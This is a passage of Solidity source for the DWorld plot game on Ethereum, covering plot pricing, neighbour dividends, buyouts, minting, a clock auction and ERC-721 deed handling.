require(validIdentifier(_deedId)); var (x, y) = identifierToCoordinate(_deedId); // Maximum coordinate length in decimals is 5 (65535) uri = "https://dworld.io/plot/xxxxx/xxxxx"; bytes memory _uri = bytes(uri); for (uint256 i = 0; i < 5; i++) { _uri[27 - i] = byte(48 + (x / 10 ** i) % 10); _uri[33 - i] = byte(48 + (y / 10 ** i) % 10); } } } /// @dev Holds functionality for finance related to plots. contract DWorldFinance is DWorldDeed { /// Total amount of Ether yet to be paid to auction beneficiaries. uint256 public outstandingEther = 0 ether; /// Amount of Ether yet to be paid per beneficiary. mapping (address => uint256) public addressToEtherOwed; /// Base price for unclaimed plots. uint256 public unclaimedPlotPrice = 0.0125 ether; /// Dividend per plot surrounding a new claim, in 1/1000th of percentages /// of the base unclaimed plot price. uint256 public claimDividendPercentage = 50000; /// Percentage of the buyout price that goes towards dividends. uint256 public buyoutDividendPercentage = 5000; /// Buyout fee in 1/1000th of a percentage. uint256 public buyoutFeePercentage = 3500; /// Number of free claims per address. mapping (address => uint256) freeClaimAllowance; /// Initial price paid for a plot. mapping (uint256 => uint256) public initialPricePaid; /// Current plot price. mapping (uint256 => uint256) public identifierToBuyoutPrice; /// Boolean indicating whether the plot has been bought out at least once. mapping (uint256 => bool) identifierToBoughtOutOnce; /// @dev Event fired when dividend is paid for a new plot claim. event ClaimDividend(address indexed from, address indexed to, uint256 deedIdFrom, uint256 indexed deedIdTo, uint256 dividend); /// @dev Event fired when a buyout is performed. event Buyout(address indexed buyer, address indexed seller, uint256 indexed deedId, uint256 winnings, uint256 totalCost, uint256 newPrice); /// @dev Event fired when dividend is paid for a buyout. event BuyoutDividend(address indexed from, address indexed to, uint256 deedIdFrom, uint256 indexed deedIdTo, uint256 dividend); /// @dev Event fired when the buyout price is manually changed for a plot. event SetBuyoutPrice(uint256 indexed deedId, uint256 newPrice); /// @dev The time after which buyouts will be enabled. Set in the DWorldCore constructor. uint256 public buyoutsEnabledFromTimestamp; /// @notice Sets the new price for unclaimed plots. /// @param _unclaimedPlotPrice The new price for unclaimed plots. function setUnclaimedPlotPrice(uint256 _unclaimedPlotPrice) external onlyCFO { unclaimedPlotPrice = _unclaimedPlotPrice; } /// @notice Sets the new dividend percentage for unclaimed plots. /// @param _claimDividendPercentage The new dividend percentage for unclaimed plots. function setClaimDividendPercentage(uint256 _claimDividendPercentage) external onlyCFO { // Claim dividend percentage must be 10% at the least. // Claim dividend percentage may be 100% at the most. require(10000 <= _claimDividendPercentage && _claimDividendPercentage <= 100000); claimDividendPercentage = _claimDividendPercentage; } /// @notice Sets the new dividend percentage for buyouts. /// @param _buyoutDividendPercentage The new dividend percentage for buyouts. function setBuyoutDividendPercentage(uint256 _buyoutDividendPercentage) external onlyCFO { // Buyout dividend must be 2% at the least. // Buyout dividend percentage may be 12.5% at the most. require(2000 <= _buyoutDividendPercentage && _buyoutDividendPercentage <= 12500); buyoutDividendPercentage = _buyoutDividendPercentage; } /// @notice Sets the new fee percentage for buyouts. /// @param _buyoutFeePercentage The new fee percentage for buyouts. function setBuyoutFeePercentage(uint256 _buyoutFeePercentage) external onlyCFO { // Buyout fee may be 5% at the most. require(0 <= _buyoutFeePercentage && _buyoutFeePercentage <= 5000); buyoutFeePercentage = _buyoutFeePercentage; } /// @notice The claim dividend to be paid for each adjacent plot, and /// as a flat dividend for each buyout. function claimDividend() public view returns (uint256) { return unclaimedPlotPrice.mul(claimDividendPercentage).div(100000); } /// @notice Set the free claim allowance for an address. /// @param addr The address to set the free claim allowance for. /// @param allowance The free claim allowance to set. function setFreeClaimAllowance(address addr, uint256 allowance) external onlyCFO { freeClaimAllowance[addr] = allowance; } /// @notice Get the free claim allowance of an address. /// @param addr The address to get the free claim allowance of. function freeClaimAllowanceOf(address addr) external view returns (uint256) { return freeClaimAllowance[addr]; } /// @dev Assign balance to an account. /// @param addr The address to assign balance to. /// @param amount The amount to assign. function _assignBalance(address addr, uint256 amount) internal { addressToEtherOwed[addr] = addressToEtherOwed[addr].add(amount); outstandingEther = outstandingEther.add(amount); } /// @dev Find the _claimed_ plots surrounding a plot. /// @param _deedId The identifier of the plot to get the surrounding plots for. function _claimedSurroundingPlots(uint256 _deedId) internal view returns (uint256[] memory) { var (x, y) = identifierToCoordinate(_deedId); // Find all claimed surrounding plots. uint256 claimed = 0; // Create memory buffer capable of holding all plots. uint256[] memory _plots = new uint256[](8); // Loop through all neighbors. for (int256 dx = -1; dx <= 1; dx++) { for (int256 dy = -1; dy <= 1; dy++) { if (dx == 0 && dy == 0) { // Skip the center (i.e., the plot itself). continue; } // Get the coordinates of this neighboring identifier. uint256 neighborIdentifier = coordinateToIdentifier( uint256(int256(x) + dx) % 65536, uint256(int256(y) + dy) % 65536 ); if (identifierToOwner[neighborIdentifier] != 0x0) { _plots[claimed] = neighborIdentifier; claimed++; } } } // Memory arrays cannot be resized, so copy all // plots from the buffer to the plot array. uint256[] memory plots = new uint256[](claimed); for (uint256 i = 0; i < claimed; i++) { plots[i] = _plots[i]; } return plots; } /// @dev Assign claim dividend to an address. /// @param _from The address who paid the dividend. /// @param _to The dividend beneficiary. /// @param _deedIdFrom The identifier of the deed the dividend is being paid for. /// @param _deedIdTo The identifier of the deed the dividend is being paid to. function _assignClaimDividend(address _from, address _to, uint256 _deedIdFrom, uint256 _deedIdTo) internal { uint256 _claimDividend = claimDividend(); // Trigger event. ClaimDividend(_from, _to, _deedIdFrom, _deedIdTo, _claimDividend); // Assign the dividend. _assignBalance(_to, _claimDividend); } /// @dev Calculate and assign the dividend payable for the new plot claim. /// A new claim pays dividends to all existing surrounding plots. /// @param _deedId The identifier of the new plot to calculate and assign dividends for. /// Assumed to be valid. function _calculateAndAssignClaimDividends(uint256 _deedId) internal returns (uint256 totalClaimDividend) { // Get existing surrounding plots. uint256[] memory claimedSurroundingPlots = _claimedSurroundingPlots(_deedId); // Keep track of the claim dividend. uint256 _claimDividend = claimDividend(); totalClaimDividend = 0; // Assign claim dividend. for (uint256 i = 0; i < claimedSurroundingPlots.length; i++) { if (identifierToOwner[claimedSurroundingPlots[i]] != msg.sender) { totalClaimDividend = totalClaimDividend.add(_claimDividend); _assignClaimDividend(msg.sender, identifierToOwner[claimedSurroundingPlots[i]], _deedId, claimedSurroundingPlots[i]); } } } /// @dev Calculate the next buyout price given the current total buyout cost. /// @param totalCost The current total buyout cost. function nextBuyoutPrice(uint256 totalCost) public pure returns (uint256) { if (totalCost < 0.05 ether) { return totalCost * 2; } else if (totalCost < 0.2 ether) { return totalCost * 170 / 100; // * 1.7 } else if (totalCost < 0.5 ether) { return totalCost * 150 / 100; // * 1.5 } else { return totalCost.mul(125).div(100); // * 1.25 } } /// @notice Get the buyout cost for a given plot. /// @param _deedId The identifier of the plot to get the buyout cost for. function buyoutCost(uint256 _deedId) external view returns (uint256) { // The current buyout price. uint256 price = identifierToBuyoutPrice[_deedId]; // Get existing surrounding plots. uint256[] memory claimedSurroundingPlots = _claimedSurroundingPlots(_deedId); // The total cost is the price plus flat rate dividends based on claim dividends. uint256 flatDividends = claimDividend().mul(claimedSurroundingPlots.length); return price.add(flatDividends); } /// @dev Assign the proceeds of the buyout. /// @param _deedId The identifier of the plot that is being bought out. function _assignBuyoutProceeds( address currentOwner, uint256 _deedId, uint256[] memory claimedSurroundingPlots, uint256 currentOwnerWinnings, uint256 totalDividendPerBeneficiary, uint256 totalCost ) internal { // Calculate and assign the current owner's winnings. Buyout(msg.sender, currentOwner, _deedId, currentOwnerWinnings, totalCost, nextBuyoutPrice(totalCost)); _assignBalance(currentOwner, currentOwnerWinnings); // Assign dividends to owners of surrounding plots. for (uint256 i = 0; i < claimedSurroundingPlots.length; i++) { address beneficiary = identifierToOwner[claimedSurroundingPlots[i]]; BuyoutDividend(msg.sender, beneficiary, _deedId, claimedSurroundingPlots[i], totalDividendPerBeneficiary); _assignBalance(beneficiary, totalDividendPerBeneficiary); } } /// @dev Calculate and assign the proceeds from the buyout. /// @param currentOwner The current owner of the plot that is being bought out. /// @param _deedId The identifier of the plot that is being bought out. /// @param claimedSurroundingPlots The surrounding plots that have been claimed. function _calculateAndAssignBuyoutProceeds(address currentOwner, uint256 _deedId, uint256[] memory claimedSurroundingPlots) internal returns (uint256 totalCost) { // The current price. uint256 price = identifierToBuyoutPrice[_deedId]; // The total cost is the price plus flat rate dividends based on claim dividends. uint256 flatDividends = claimDividend().mul(claimedSurroundingPlots.length); totalCost = price.add(flatDividends); // Calculate the variable dividends based on the buyout price // (only to be paid if there are surrounding plots). uint256 variableDividends = price.mul(buyoutDividendPercentage).div(100000); // Calculate fees. uint256 fee = price.mul(buyoutFeePercentage).div(100000); // Calculate and assign buyout proceeds. uint256 currentOwnerWinnings = price.sub(fee); uint256 totalDividendPerBeneficiary; if (claimedSurroundingPlots.length > 0) { // If there are surrounding plots, variable dividend is to be paid // based on the buyout price.. currentOwnerWinnings = currentOwnerWinnings.sub(variableDividends); // Calculate the dividend per surrounding plot. totalDividendPerBeneficiary = flatDividends.add(variableDividends) / claimedSurroundingPlots.length; } _assignBuyoutProceeds( currentOwner, _deedId, claimedSurroundingPlots, currentOwnerWinnings, totalDividendPerBeneficiary, totalCost ); } /// @notice Buy the current owner out of the plot. function buyout(uint256 _deedId) external payable whenNotPaused { buyoutWithData(_deedId, "", "", "", ""); } /// @notice Buy the current owner out of the plot. function buyoutWithData(uint256 _deedId, string name, string description, string imageUrl, string infoUrl) public payable whenNotPaused { // Buyouts must be enabled. require(buyoutsEnabledFromTimestamp <= block.timestamp); address currentOwner = identifierToOwner[_deedId]; // The plot must be owned before it can be bought out. require(currentOwner != 0x0); // Get existing surrounding plots. uint256[] memory claimedSurroundingPlots = _claimedSurroundingPlots(_deedId); // Assign the buyout proceeds and retrieve the total cost. uint256 totalCost = _calculateAndAssignBuyoutProceeds(currentOwner, _deedId, claimedSurroundingPlots); // Ensure the message has enough value. require(msg.value >= totalCost); // Transfer the plot. _transfer(currentOwner, msg.sender, _deedId); // Set the plot data SetData(_deedId, name, description, imageUrl, infoUrl); // Calculate and set the new plot price. identifierToBuyoutPrice[_deedId] = nextBuyoutPrice(totalCost); // Indicate the plot has been bought out at least once if (!identifierToBoughtOutOnce[_deedId]) { identifierToBoughtOutOnce[_deedId] = true; } // Calculate the excess Ether sent. // msg.value is greater than or equal to totalCost, // so this cannot underflow. uint256 excess = msg.value - totalCost; if (excess > 0) { // Refund any excess Ether (not susceptible to re-entry attack, as // the owner is assigned before the transfer takes place). msg.sender.transfer(excess); } } /// @notice Calculate the maximum initial buyout price for a plot. /// @param _deedId The identifier of the plot to get the maximum initial buyout price for. function maximumInitialBuyoutPrice(uint256 _deedId) public view returns (uint256) { // The initial buyout price can be set to 4x the initial plot price // (or 100x for the original pre-migration plots). uint256 mul = 4; if (identifierIsOriginal[_deedId]) { mul = 100; } return initialPricePaid[_deedId].mul(mul); } /// @notice Test whether a buyout price is valid. /// @param _deedId The identifier of the plot to test the buyout price for. /// @param price The buyout price to test. function validInitialBuyoutPrice(uint256 _deedId, uint256 price) public view returns (bool) { return (price >= unclaimedPlotPrice && price <= maximumInitialBuyoutPrice(_deedId)); } /// @notice Manually set the initial buyout price of a plot. /// @param _deedId The identifier of the plot to set the buyout price for. /// @param price The value to set the buyout price to. function setInitialBuyoutPrice(uint256 _deedId, uint256 price) public whenNotPaused { // One can only set the buyout price of their own plots. require(_owns(msg.sender, _deedId)); // The initial buyout price can only be set if the plot has never been bought out before. require(!identifierToBoughtOutOnce[_deedId]); // The buyout price must be valid. require(validInitialBuyoutPrice(_deedId, price)); // Set the buyout price. identifierToBuyoutPrice[_deedId] = price; // Trigger the buyout price event. SetBuyoutPrice(_deedId, price); } } /// @dev Holds functionality for minting new plot deeds. contract DWorldMinting is DWorldFinance { /// @notice Buy an unclaimed plot. /// @param _deedId The unclaimed plot to buy. /// @param _buyoutPrice The initial buyout price to set on the plot. function claimPlot(uint256 _deedId, uint256 _buyoutPrice) external payable whenNotPaused { claimPlotWithData(_deedId, _buyoutPrice, "", "", "", ""); } /// @notice Buy an unclaimed plot. /// @param _deedId The unclaimed plot to buy. /// @param _buyoutPrice The initial buyout price to set on the plot. /// @param name The name to give the plot. /// @param description The description to add to the plot. /// @param imageUrl The image url for the plot. /// @param infoUrl The info url for the plot. function claimPlotWithData(uint256 _deedId, uint256 _buyoutPrice, string name, string description, string imageUrl, string infoUrl) public payable whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; claimPlotMultipleWithData(_deedIds, _buyoutPrice, name, description, imageUrl, infoUrl); } /// @notice Buy unclaimed plots. /// @param _deedIds The unclaimed plots to buy. /// @param _buyoutPrice The initial buyout price to set on the plot. function claimPlotMultiple(uint256[] _deedIds, uint256 _buyoutPrice) external payable whenNotPaused { claimPlotMultipleWithData(_deedIds, _buyoutPrice, "", "", "", ""); } /// @notice Buy unclaimed plots. /// @param _deedIds The unclaimed plots to buy. /// @param _buyoutPrice The initial buyout price to set on the plot. /// @param name The name to give the plots. /// @param description The description to add to the plots. /// @param imageUrl The image url for the plots. /// @param infoUrl The info url for the plots. function claimPlotMultipleWithData(uint256[] _deedIds, uint256 _buyoutPrice, string name, string description, string imageUrl, string infoUrl) public payable whenNotPaused { uint256 buyAmount = _deedIds.length; uint256 etherRequired; if (freeClaimAllowance[msg.sender] > 0) { // The sender has a free claim allowance. if (freeClaimAllowance[msg.sender] > buyAmount) { // Subtract from allowance. freeClaimAllowance[msg.sender] -= buyAmount; // No ether is required. etherRequired = 0; } else { uint256 freeAmount = freeClaimAllowance[msg.sender]; // The full allowance has been used. delete freeClaimAllowance[msg.sender]; // The subtraction cannot underflow, as freeAmount <= buyAmount. etherRequired = unclaimedPlotPrice.mul(buyAmount - freeAmount); } } else { // The sender does not have a free claim allowance. etherRequired = unclaimedPlotPrice.mul(buyAmount); } uint256 offset = plots.length; // Allocate additional memory for the plots array // (this is more efficient than .push-ing each individual // plot, as that requires multiple dynamic allocations). plots.length = plots.length.add(_deedIds.length); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; require(validIdentifier(_deedId)); // The plot must be unowned (a plot deed cannot be transferred to // 0x0, so once a plot is claimed it will always be owned by a // non-zero address). require(identifierToOwner[_deedId] == address(0)); // Create the plot plots[offset + i] = uint32(_deedId); // Transfer the new plot to the sender. _transfer(address(0), msg.sender, _deedId); // Set the plot data. _setPlotData(_deedId, name, description, imageUrl, infoUrl); // Calculate and assign claim dividends. uint256 claimDividends = _calculateAndAssignClaimDividends(_deedId); etherRequired = etherRequired.add(claimDividends); // Set the initial price paid for the plot. initialPricePaid[_deedId] = unclaimedPlotPrice.add(claimDividends); // Set the initial buyout price. Throws if it does not succeed. setInitialBuyoutPrice(_deedId, _buyoutPrice); } // Ensure enough ether is supplied. require(msg.value >= etherRequired); // Calculate the excess ether sent // msg.value is greater than or equal to etherRequired, // so this cannot underflow. uint256 excess = msg.value - etherRequired; if (excess > 0) { // Refund any excess ether (not susceptible to re-entry attack, as // the owner is assigned before the transfer takes place). msg.sender.transfer(excess); } } } /// @title The internal clock auction functionality. /// Inspired by CryptoKitties' clock auction contract ClockAuctionBase { // Address of the ERC721 contract this auction is linked to. ERC721 public deedContract; // Fee per successful auction in 1/1000th of a percentage. uint256 public fee; // Total amount of ether yet to be paid to auction beneficiaries. uint256 public outstandingEther = 0 ether; // Amount of ether yet to be paid per beneficiary. mapping (address => uint256) public addressToEtherOwed; /// @dev Represents a deed auction. /// Care has been taken to ensure the auction fits in /// two 256-bit words. struct Auction { address seller; uint128 startPrice; uint128 endPrice; uint64 duration; uint64 startedAt; } mapping (uint256 => Auction) identifierToAuction; // Events event AuctionCreated(address indexed seller, uint256 indexed deedId, uint256 startPrice, uint256 endPrice, uint256 duration); event AuctionSuccessful(address indexed buyer, uint256 indexed deedId, uint256 totalPrice); event AuctionCancelled(uint256 indexed deedId); /// @dev Modifier to check whether the value can be stored in a 64 bit uint. modifier fitsIn64Bits(uint256 _value) { require (_value == uint256(uint64(_value))); _; } /// @dev Modifier to check whether the value can be stored in a 128 bit uint. modifier fitsIn128Bits(uint256 _value) { require (_value == uint256(uint128(_value))); _; } function ClockAuctionBase(address _deedContractAddress, uint256 _fee) public { deedContract = ERC721(_deedContractAddress); // Contract must indicate support for ERC721 through its interface signature. require(deedContract.supportsInterface(0xda671b9b)); // Fee must be between 0 and 100%. require(0 <= _fee && _fee <= 100000); fee = _fee; } /// @dev Checks whether the given auction is active. /// @param auction The auction to check for activity. function _activeAuction(Auction storage auction) internal view returns (bool) { return auction.startedAt > 0; } /// @dev Put the deed into escrow, thereby taking ownership of it. /// @param _deedId The identifier of the deed to place into escrow. function _escrow(uint256 _deedId) internal { // Throws if the transfer fails deedContract.takeOwnership(_deedId); } /// @dev Create the auction. /// @param _deedId The identifier of the deed to create the auction for. /// @param auction The auction to create. function _createAuction(uint256 _deedId, Auction auction) internal { // Add the auction to the auction mapping. identifierToAuction[_deedId] = auction; // Trigger auction created event. AuctionCreated(auction.seller, _deedId, auction.startPrice, auction.endPrice, auction.duration); } /// @dev Bid on an auction. /// @param _buyer The address of the buyer. /// @param _value The value sent by the sender (in ether). /// @param _deedId The identifier of the deed to bid on. function _bid(address _buyer, uint256 _value, uint256 _deedId) internal { Auction storage auction = identifierToAuction[_deedId]; // The auction must be active. require(_activeAuction(auction)); // Calculate the auction's current price. uint256 price = _currentPrice(auction); // Make sure enough funds were sent. require(_value >= price); address seller = auction.seller; if (price > 0) { uint256 totalFee = _calculateFee(price); uint256 proceeds = price - totalFee; // Assign the proceeds to the seller. // We do not send the proceeds directly, as to prevent // malicious sellers from denying auctions (and burning // the buyer's gas). _assignProceeds(seller, proceeds); } AuctionSuccessful(_buyer, _deedId, price); // The bid was won! _winBid(seller, _buyer, _deedId, price); // Remove the auction (we do this at the end, as // winBid might require some additional information // that will be removed when _removeAuction is // called. As we do not transfer funds here, we do // not have to worry about re-entry attacks. _removeAuction(_deedId); } /// @dev Perform the bid win logic (in this case: transfer the deed). /// @param _seller The address of the seller. /// @param _winner The address of the winner. /// @param _deedId The identifier of the deed. /// @param _price The price the auction was bought at. function _winBid(address _seller, address _winner, uint256 _deedId, uint256 _price) internal { _transfer(_winner, _deedId); } /// @dev Cancel an auction. /// @param _deedId The identifier of the deed for which the auction should be cancelled. /// @param auction The auction to cancel. function _cancelAuction(uint256 _deedId, Auction auction) internal { // Remove the auction _removeAuction(_deedId); // Transfer the deed back to the seller _transfer(auction.seller, _deedId); // Trigger auction cancelled event. AuctionCancelled(_deedId); } /// @dev Remove an auction. /// @param _deedId The identifier of the deed for which the auction should be removed. function _removeAuction(uint256 _deedId) internal { delete identifierToAuction[_deedId]; } /// @dev Transfer a deed owned by this contract to another address. /// @param _to The address to transfer the deed to. /// @param _deedId The identifier of the deed. function _transfer(address _to, uint256 _deedId) internal { // Throws if the transfer fails deedContract.transfer(_to, _deedId); } /// @dev Assign proceeds to an address. /// @param _to The address to assign proceeds to. /// @param _value The proceeds to assign. function _assignProceeds(address _to, uint256 _value) internal { outstandingEther += _value; addressToEtherOwed[_to] += _value; } /// @dev Calculate the current price of an auction. function _currentPrice(Auction storage _auction) internal view returns (uint256) { require(now >= _auction.startedAt); uint256 secondsPassed = now - _auction.startedAt; if (secondsPassed >= _auction.duration) { return _auction.endPrice; } else { // Negative if the end price is higher than the start price! int256 totalPriceChange = int256(_auction.endPrice) - int256(_auction.startPrice); // Calculate the current price based on the total change over the entire // auction duration, and the amount of time passed since the start of the // auction. int256 currentPriceChange = totalPriceChange * int256(secondsPassed) / int256(_auction.duration); // Calculate the final price. Note this once again // is representable by a uint256, as the price can // never be negative. int256 price = int256(_auction.startPrice) + currentPriceChange; // This never throws. assert(price >= 0); return uint256(price); } } /// @dev Calculate the fee for a given price. /// @param _price The price to calculate the fee for. function _calculateFee(uint256 _price) internal view returns (uint256) { // _price is guaranteed to fit in a uint128 due to the createAuction entry // modifiers, so this cannot overflow. return _price * fee / 100000; } } contract ClockAuction is ClockAuctionBase, Pausable { function ClockAuction(address _deedContractAddress, uint256 _fee) ClockAuctionBase(_deedContractAddress, _fee) public {} /// @notice Update the auction fee. /// @param _fee The new fee. function setFee(uint256 _fee) external onlyOwner { require(0 <= _fee && _fee <= 100000); fee = _fee; } /// @notice Get the auction for the given deed. /// @param _deedId The identifier of the deed to get the auction for. /// @dev Throws if there is no auction for the given deed. function getAuction(uint256 _deedId) external view returns ( address seller, uint256 startPrice, uint256 endPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = identifierToAuction[_deedId]; // The auction must be active require(_activeAuction(auction)); return ( auction.seller, auction.startPrice, auction.endPrice, auction.duration, auction.startedAt ); } /// @notice Create an auction for a given deed. /// Must previously have been given approval to take ownership of the deed. /// @param _deedId The identifier of the deed to create an auction for. /// @param _startPrice The starting price of the auction. /// @param _endPrice The ending price of the auction. /// @param _duration The duration in seconds of the dynamic pricing part of the auction. function createAuction(uint256 _deedId, uint256 _startPrice, uint256 _endPrice, uint256 _duration) public fitsIn128Bits(_startPrice) fitsIn128Bits(_endPrice) fitsIn64Bits(_duration) whenNotPaused { // Get the owner of the deed to be auctioned address deedOwner = deedContract.ownerOf(_deedId); // Caller must either be the deed contract or the owner of the deed // to prevent abuse. require( msg.sender == address(deedContract) || msg.sender == deedOwner ); // The duration of the auction must be at least 60 seconds. require(_duration >= 60); // Throws if placing the deed in escrow fails (the contract requires // transfer approval prior to creating the auction). _escrow(_deedId); // Auction struct Auction memory auction = Auction( deedOwner, uint128(_startPrice), uint128(_endPrice), uint64(_duration), uint64(now) ); _createAuction(_deedId, auction); } /// @notice Cancel an auction /// @param _deedId The identifier of the deed to cancel the auction for. function cancelAuction(uint256 _deedId) external whenNotPaused { Auction storage auction = identifierToAuction[_deedId]; // The auction must be active. require(_activeAuction(auction)); // The auction can only be cancelled by the seller require(msg.sender == auction.seller); _cancelAuction(_deedId, auction); } /// @notice Bid on an auction. /// @param _deedId The identifier of the deed to bid on. function bid(uint256 _deedId) external payable whenNotPaused { // Throws if the bid does not succeed. _bid(msg.sender, msg.value, _deedId); } /// @dev Returns the current price of an auction. /// @param _deedId The identifier of the deed to get the currency price for. function getCurrentPrice(uint256 _deedId) external view returns (uint256) { Auction storage auction = identifierToAuction[_deedId]; // The auction must be active. require(_activeAuction(auction)); return _currentPrice(auction); } /// @notice Withdraw ether owed to a beneficiary. /// @param beneficiary The address to withdraw the auction balance for. function withdrawAuctionBalance(address beneficiary) external { // The sender must either be the beneficiary or the core deed contract. require( msg.sender == beneficiary || msg.sender == address(deedContract) ); uint256 etherOwed = addressToEtherOwed[beneficiary]; // Ensure ether is owed to the beneficiary. require(etherOwed > 0); // Set ether owed to 0 delete addressToEtherOwed[beneficiary]; // Subtract from total outstanding balance. etherOwed is guaranteed // to be less than or equal to outstandingEther, so this cannot // underflow. outstandingEther -= etherOwed; // Transfer ether owed to the beneficiary (not susceptible to re-entry // attack, as the ether owed is set to 0 before the transfer takes place). beneficiary.transfer(etherOwed); } /// @notice Withdraw (unowed) contract balance. function withdrawFreeBalance() external { // Calculate the free (unowed) balance. This never underflows, as // outstandingEther is guaranteed to be less than or equal to the // contract balance. uint256 freeBalance = this.balance - outstandingEther; address deedContractAddress = address(deedContract); require( msg.sender == owner || msg.sender == deedContractAddress ); deedContractAddress.transfer(freeBalance); } } /// @dev Defines base data structures for DWorld. contract OriginalDWorldBase is DWorldAccessControl { using SafeMath for uint256; /// @dev All minted plots (array of plot identifiers). There are /// 2^16 * 2^16 possible plots (covering the entire world), thus /// 32 bits are required. This fits in a uint32. Storing /// the identifiers as uint32 instead of uint256 makes storage /// cheaper. (The impact of this in mappings is less noticeable, /// and using uint32 in the mappings below actually *increases* /// gas cost for minting). uint32[] public plots; mapping (uint256 => address) identifierToOwner; mapping (uint256 => address) identifierToApproved; mapping (address => uint256) ownershipDeedCount; /// @dev Event fired when a plot's data are changed. The plot /// data are not stored in the contract directly, instead the /// data are logged to the block. This gives significant /// reductions in gas requirements (~75k for minting with data /// instead of ~180k). However, it also means plot data are /// not available from *within* other contracts. event SetData(uint256 indexed deedId, string name, string description, string imageUrl, string infoUrl); /// @notice Get all minted plots. function getAllPlots() external view returns(uint32[]) { return plots; } /// @dev Represent a 2D coordinate as a single uint. /// @param x The x-coordinate. /// @param y The y-coordinate. function coordinateToIdentifier(uint256 x, uint256 y) public pure returns(uint256) { require(validCoordinate(x, y)); return (y << 16) + x; } /// @dev Turn a single uint representation of a coordinate into its x and y parts. /// @param identifier The uint representation of a coordinate. function identifierToCoordinate(uint256 identifier) public pure returns(uint256 x, uint256 y) { require(validIdentifier(identifier)); y = identifier >> 16; x = identifier - (y << 16); } /// @dev Test whether the coordinate is valid. /// @param x The x-part of the coordinate to test. /// @param y The y-part of the coordinate to test. function validCoordinate(uint256 x, uint256 y) public pure returns(bool) { return x < 65536 && y < 65536; // 2^16 } /// @dev Test whether an identifier is valid. /// @param identifier The identifier to test. function validIdentifier(uint256 identifier) public pure returns(bool) { return identifier < 4294967296; // 2^16 * 2^16 } /// @dev Set a plot's data. /// @param identifier The identifier of the plot to set data for. function _setPlotData(uint256 identifier, string name, string description, string imageUrl, string infoUrl) internal { SetData(identifier, name, description, imageUrl, infoUrl); } } /// @dev Holds deed functionality such as approving and transferring. Implements ERC721. contract OriginalDWorldDeed is OriginalDWorldBase, ERC721, ERC721Metadata { /// @notice Name of the collection of deeds (non-fungible token), as defined in ERC721Metadata. function name() public pure returns (string _deedName) { _deedName = "DWorld Plots"; } /// @notice Symbol of the collection of deeds (non-fungible token), as defined in ERC721Metadata. function symbol() public pure returns (string _deedSymbol) { _deedSymbol = "DWP"; } /// @dev ERC-165 (draft) interface signature for itself bytes4 internal constant INTERFACE_SIGNATURE_ERC165 = // 0x01ffc9a7 bytes4(keccak256('supportsInterface(bytes4)')); /// @dev ERC-165 (draft) interface signature for ERC721 bytes4 internal constant INTERFACE_SIGNATURE_ERC721 = // 0xda671b9b bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('countOfDeeds()')) ^ bytes4(keccak256('countOfDeedsByOwner(address)')) ^ bytes4(keccak256('deedOfOwnerByIndex(address,uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('takeOwnership(uint256)')); /// @dev ERC-165 (draft) interface signature for ERC721 bytes4 internal constant INTERFACE_SIGNATURE_ERC721Metadata = // 0x2a786f11 bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('deedUri(uint256)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. /// (ERC-165 and ERC-721.) function supportsInterface(bytes4 _interfaceID) external pure returns (bool) { return ( (_interfaceID == INTERFACE_SIGNATURE_ERC165) || (_interfaceID == INTERFACE_SIGNATURE_ERC721) || (_interfaceID == INTERFACE_SIGNATURE_ERC721Metadata) ); } /// @dev Checks if a given address owns a particular plot. /// @param _owner The address of the owner to check for. /// @param _deedId The plot identifier to check for. function _owns(address _owner, uint256 _deedId) internal view returns (bool) { return identifierToOwner[_deedId] == _owner; } /// @dev Approve a given address to take ownership of a deed. /// @param _from The address approving taking ownership. /// @param _to The address to approve taking ownership. /// @param _deedId The identifier of the deed to give approval for. function _approve(address _from, address _to, uint256 _deedId) internal { identifierToApproved[_deedId] = _to; // Emit event. Approval(_from, _to, _deedId); } /// @dev Checks if a given address has approval to take ownership of a deed. /// @param _claimant The address of the claimant to check for. /// @param _deedId The identifier of the deed to check for. function _approvedFor(address _claimant, uint256 _deedId) internal view returns (bool) { return identifierToApproved[_deedId] == _claimant; } /// @dev Assigns ownership of a specific deed to an address. /// @param _from The address to transfer the deed from. /// @param _to The address to transfer the deed to. /// @param _deedId The identifier of the deed to transfer. function _transfer(address _from, address _to, uint256 _deedId) internal { // The number of plots is capped at 2^16 * 2^16, so this cannot // be overflowed. ownershipDeedCount[_to]++; // Transfer ownership. identifierToOwner[_deedId] = _to; // When a new deed is minted, the _from address is 0x0, but we // do not track deed ownership of 0x0. if (_from != address(0)) { ownershipDeedCount[_from]--; // Clear taking ownership approval. delete identifierToApproved[_deedId]; } // Emit the transfer event. Transfer(_from, _to, _deedId); } // ERC 721 implementation /// @notice Returns the total number of deeds currently in existence. /// @dev Required for ERC-721 compliance. function countOfDeeds() public view returns (uint256) { return plots.length; } /// @notice Returns the number of deeds owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function countOfDeedsByOwner(address _owner) public view returns (uint256) { return ownershipDeedCount[_owner]; } /// @notice Returns the address currently assigned ownership of a given deed. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _deedId) external view returns (address _owner) { _owner = identifierToOwner[_deedId]; require(_owner != address(0)); } /// @notice Approve a given address to take ownership of a deed. /// @param _to The address to approve taking owernship. /// @param _deedId The identifier of the deed to give approval for. /// @dev Required for ERC-721 compliance. function approve(address _to, uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; approveMultiple(_to, _deedIds); } /// @notice Approve a given address to take ownership of multiple deeds. /// @param _to The address to approve taking ownership. /// @param _deedIds The identifiers of the deeds to give approval for. function approveMultiple(address _to, uint256[] _deedIds) public whenNotPaused { // Ensure the sender is not approving themselves. require(msg.sender != _to); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; // Require the sender is the owner of the deed. require(_owns(msg.sender, _deedId)); // Perform the approval. _approve(msg.sender, _to, _deedId); } } /// @notice Transfer a deed to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721, or your /// deed may be lost forever. /// @param _to The address of the recipient, can be a user or 